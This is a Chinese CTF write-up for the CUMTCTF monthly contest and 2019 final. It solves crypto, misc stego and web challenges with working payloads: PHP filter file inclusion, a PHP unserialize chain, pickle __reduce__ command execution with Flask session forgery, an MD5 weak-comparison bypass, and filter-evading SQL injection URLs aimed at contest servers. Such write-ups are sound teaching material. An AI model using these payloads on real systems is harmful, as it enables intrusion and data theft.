CUMTCTF第三轮月赛与决赛

第三次双月赛题解

Crypto

古典密码签到

维吉尼亚密码,密文juttaigykhpmjyreca,秘钥cumt,在线解密即可https://www.qqxiuzi.cn/bianma/weijiniyamima.php

flag: flag{hahayoufindtheflag}

encode

题目给出的pyc文件,在线反编译一下即可得到源代码

很简单的解密题,按照相反的逻辑解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python
# encoding: utf-8
import base64

def encode1(ans):
s = ''
for i in ans:
x = ord(i) ^ 36
x = x + 25
s += chr(x)

return s

def encode2(ans):
s = ''
for i in ans:
x = ord(i) + 36
x = x ^ 36
s += chr(x)

return s

def encode3(ans):
return base64.b32encode(ans)

flag = ' '
final = 'LOQ2NJFYU5YH2WTUU5VHJIDXLJNVW2LQO52WS2L6PVUVW2TQLJNVSWLJUBN3E==='
# if encode3(encode2(encode1(flag))) == final:
# print 'correct'
# else:
# print 'wrong'

def decode3(ans):
return base64.b32decode(ans)

def decode2(ans):
s = ''
for i in ans:
x = ord(i)
x = x ^ 36
x = x - 36
s += chr(x)
return s

def decode1(ans):
s = ''
for i in ans:
x = ord(i)
x = x - 25
x = x ^ 36
s += chr(x)
return s

print decode1(decode2(decode3(final)))
1
flag{b38e7b57c2eff432044984f53efdd4cf}

web

web签到1

简单的文件包含即可

1
http://202.119.201.199:30100/?page=php://filter/read=convert.base64-encode/resource=cxk.php

flag{CumtCTF_this_iS_a_RElLy_fLaG!!!}

Web签到2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class P {
private $var;

function __invoke(){
eval(
'global '.$this -> var.';'.
'$ret = '.$this -> var.';'
);
return $ret;
}
}
class K {
protected $fn;
public $name;

function __toString(){
echo 'string';
$fn = $this -> fn;
return $fn();
}
}
class U {
public $obj;

function __wakeup(){
if (!isset($this->obj->name) || $this->obj->name != "iv4n") {
$this -> obj -> fn = function(){};
}
}
}
echo unserialize($_POST['obj'])->obj;

flag{0k_y0u_4lr3ady_kn0w_uns3ria1ize}

Baby Flask

flask项目的网站,查看源代码可以看到github网址,给出了网站源码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)

# add secret key to enable session
# and this is a fake secret key, just an example
app.config['SECRET_KEY'] = 'you_find_secret_key_congratulations'

User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})

@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return render_template('index.html')

@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path:
return 'disallowed'

with open(path, 'r') as fp:
content = fp.read()
return content

@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
print(pickle.loads(b'\x80\x03cprogram_main_app@@@\nUser\nq\x00)\x81q\x01.'))
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)

if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
except Exception:
return 'uhh?'

if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

可以看到file路由处可以进行文件读取

查看历史提交记录可以看到某个版本中有如下语句

1
app.config['SECRET_KEY'] = os.getenv('secret_key')

可以看到环境变量中写入了秘钥值,结合上面的文件读取漏洞,我们可以读取到该秘钥值,也可以知道用户是iv4n

读取到秘钥就可以伪造session了,查看admin的代码可以知到此处利用了pickle模块,该模块可以进行序列化操作,而且也存在反序列化漏洞,可以利用reduce方法来进行命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
import base64
import pickle
import os

class User(object):
def __reduce__(self):
a = "`ls / -l > /home/iv4n/3.txt`"
return (os.system,(a,))

u = pickle.dumps(User())
print(u)
bu = base64.b64encode(u)
print(bu)

这里坑的地方在于,当时我发现这个命令执行漏洞没有回显,所以我先尝试了反弹shell,结果bash反弹失败了,此处我尝试了将命令执行的结果写入文件中,然后读取文件即可,此处需要注意的是写入文件是有权限限制的,起初我想在根目录或者项目目录中写入文件,但是都失败了,估计是权限不够,必须找一个有权限的目录才行,我们前面已经知道了项目用户是iv4n,那么我们直接写入该用户的目录下不就行了,用上面的命令输出值之后进行session伪造即可(使用base64是为了防止编码问题)

1
py flask_session_cookie_manager3.py encode -s you_find_secret_key_congratulations -t {'u':{'b':b'gANjcG9zaXgKc3lzdGVtCnEAWD0AAABgY2F0IC9mMWxsMWxsMTQ0NGFhYWcvZjFsbDFsbDE0NDRhYWFnID4gL2hvbWUvaXY0di9ndWVzcy50eHRgcQGFcQJScQMu'}}

然后修改cookie,刷新admin页面,然后去读文件

可以看到flag文件,直接读取即可

PS:反弹shell失败的原因在于我使用的是bash反弹shell,而题目环境中没有bash而是sh,而且也没有/dev/tcp文件,可以通过fork子进程来进行反弹shell

我走的一个弯路在于一直想以admin身份登录(虽然登录之后毛都没有),但是一直报错,记录一下自己的方法

pickle模块在序列化类的时候,是不会序列化具体值的,我们解密cookie的值为

1
{'u':b'\x80\x03cprogram_main_app@@@\nUser\nq\x00)\x81q\x01.'}

可以看到并没有包含User的具体字段的信息,换句话说我们即使本地修改了is_admin的值,在服务器端反序列化之后也并没有被记录,而是直接以代码中的定义来初始化,也就是

1
2
3
4
5
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})

is_admin又被初始化为0了,所以我们无法登陆成功,那么怎么解决这个问题呢?

我们可以通过将is_admin设置为类属性来解决

1
2
3
4
5
6
7
8
9
10
11
import pickle
import base64
class User(object):
def __init__(self):
self.a = 2
self.is_admin = 1
a=User()
c=pickle.dumps(a)
print(c)
print(base64.b64encode(c))
pickle.loads(c)
1
b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03K\x02X\x08\x00\x00\x00is_adminq\x04K\x01ub.'

可以看到is_admin被序列化了(个人理解是dump方法会序列化类的属性),然后需要注意一点,上面的输出包含__mian__,和我们从网站解密的对比一下

b’\x80\x03cprogram_main_app@@@\nUser\nq\x00)\x81q\x01.’

同样位置是program_main_app@@@,这应该是模块名,如果不对应的化反序列化会失败,此处我们也需要进行相应的修改,最终如下

1
b'\x80\x03cprogram_main_app@@@\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03K\x02X\x08\x00\x00\x00is_adminq\x04K\x01ub.'

CUMTCTF_FINAL_2019

MISC

委屈的兔兔

打开图片,查看16进制即可在尾部看到unicode编码,解码即可得到flag

key{you are right}

两岁半的猪

拖进stegsolve就会简单移位就可以看到二维码

flag{AppLeU0}

寻找你的key

zip伪加密,之后是一个exe文件,拖进16进制查看发现是反向的base64图片编码,在线解码即可得到二维码,扫描可得flag

KEY{dca57f966e4e4e31fd5b15417da63269}

302

抓包去掉referer头可以看到base64编码图片,解码得到图片,然后还可以看到有个key字段,值为123.com,然后用key值在线解密网站解密即可

1
http://www.atool9.com/steganography.php

flag{85bb86974a2a33bd4032ea3b7264b831}

WEB

签到题

md5弱比较

1
2
3
4
5
6
7
$s = sanitize_user_input($_GET['s']);
$h = secured_hash_function($_GET['h']);
$r = gen_secured_random();
if($s != false && $h != false) {
if($s.$r == $h) {
print "Well done! Here is your flag: ".$flag;
}

因为是将$s放在前面而且允许输入数字,那我们就可以利用MD5弱比较来进行绕过,右边生成一个0e开头的纯数字md5,左边直接输入0e与后面数字拼接即可验证通过

SQL注入

测试列数,发现过滤,双写可以绕过

1
http://120.78.164.84:49098/list.php?id=1' oorrder by 4-- +

测试一下过滤,发现只过滤union,select,or,然后开始正常联合注入

数据库名ctf

爆表名

1
2
3
http://120.78.164.84:49098/list.php?id=-1' ununionion seselectlect 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()-- +

ctf,f1ag1nit

爆列名

1
2
3
http://120.78.164.84:49098/list.php?id=-1' ununionion seselectlect 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='f1ag1nit'-- +

id,flag

爆flag时发现flag被过滤了,现在需要在不输入列名的情况下得到数据,百度搜索到一个方法

1
https://blog.csdn.net/qq_35078631/article/details/78589926

不过例子中的左右都是三列,使用union没有问题,而本题中f1ag1nit中只有两个字段,如果直接使用联合注入的话会因为列数不相等报错,所以我们需要给它认为加上一列,payload如下:

1
http://120.78.164.84:49098/list.php?id=-1' uniunionon seselectlect * from (seselectlect 1)a,(seselectlect 2)b,(seselectlect 3)c ununionion seselectlect * from f1ag1nit a,(selselectect 2) b limit 1,2-- +
1
flag{3eaba49ada2ec0aa44ceaa7beee35401}
-------------本文结束感谢您的阅读-------------
您今天怎么辣么迷人!